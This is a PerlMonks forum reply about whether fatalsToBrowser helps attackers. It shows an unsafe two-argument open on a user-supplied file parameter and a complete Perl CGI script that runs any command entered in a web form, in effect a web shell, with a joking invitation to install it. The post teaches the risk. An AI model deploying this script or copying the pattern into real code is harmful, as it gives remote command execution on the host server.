in reply to Does fatalsToBrowser give too much information to a cracker?
Contemplate this code:
use CGI::Carp qw( fatalsToBrowser ); .... $file = $q->param('file'); .... open FILE, $file;
Now contemplate this snippet. If you don't immediately see what it does install it in your cgi-bin (then send me the url :-)
#!/usr/bin/perl -w use strict; $|++; use CGI qw( :standard ); use CGI::Carp qw( fatalsToBrowser ); my $command = param('command'); print header, start_form({ -method=>'get' }), textfield({-size=>75,-name=>'command'}), submit('Run'), end_form; if ($command) { open( CMD, "$command 2>&1|" ) or die "$!: running command: '$command +'"; print "<pre>\n"; print escapeHTML($_) while (<CMD>); print "</pre>\n", end_html; close CMD; }
cheers
tachyon
s&&rsenoyhcatreve&&&s&n.+t&"$'$`$\"$\&"&ee&&y&srve&&d&&print
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: Re: Does fatalsToBrowser give too much information to a cracker?
by Juerd (Abbot) on Apr 10, 2002 at 13:24 UTC | |
by tachyon (Chancellor) on Apr 10, 2002 at 14:46 UTC | |
by Juerd (Abbot) on Apr 10, 2002 at 15:09 UTC |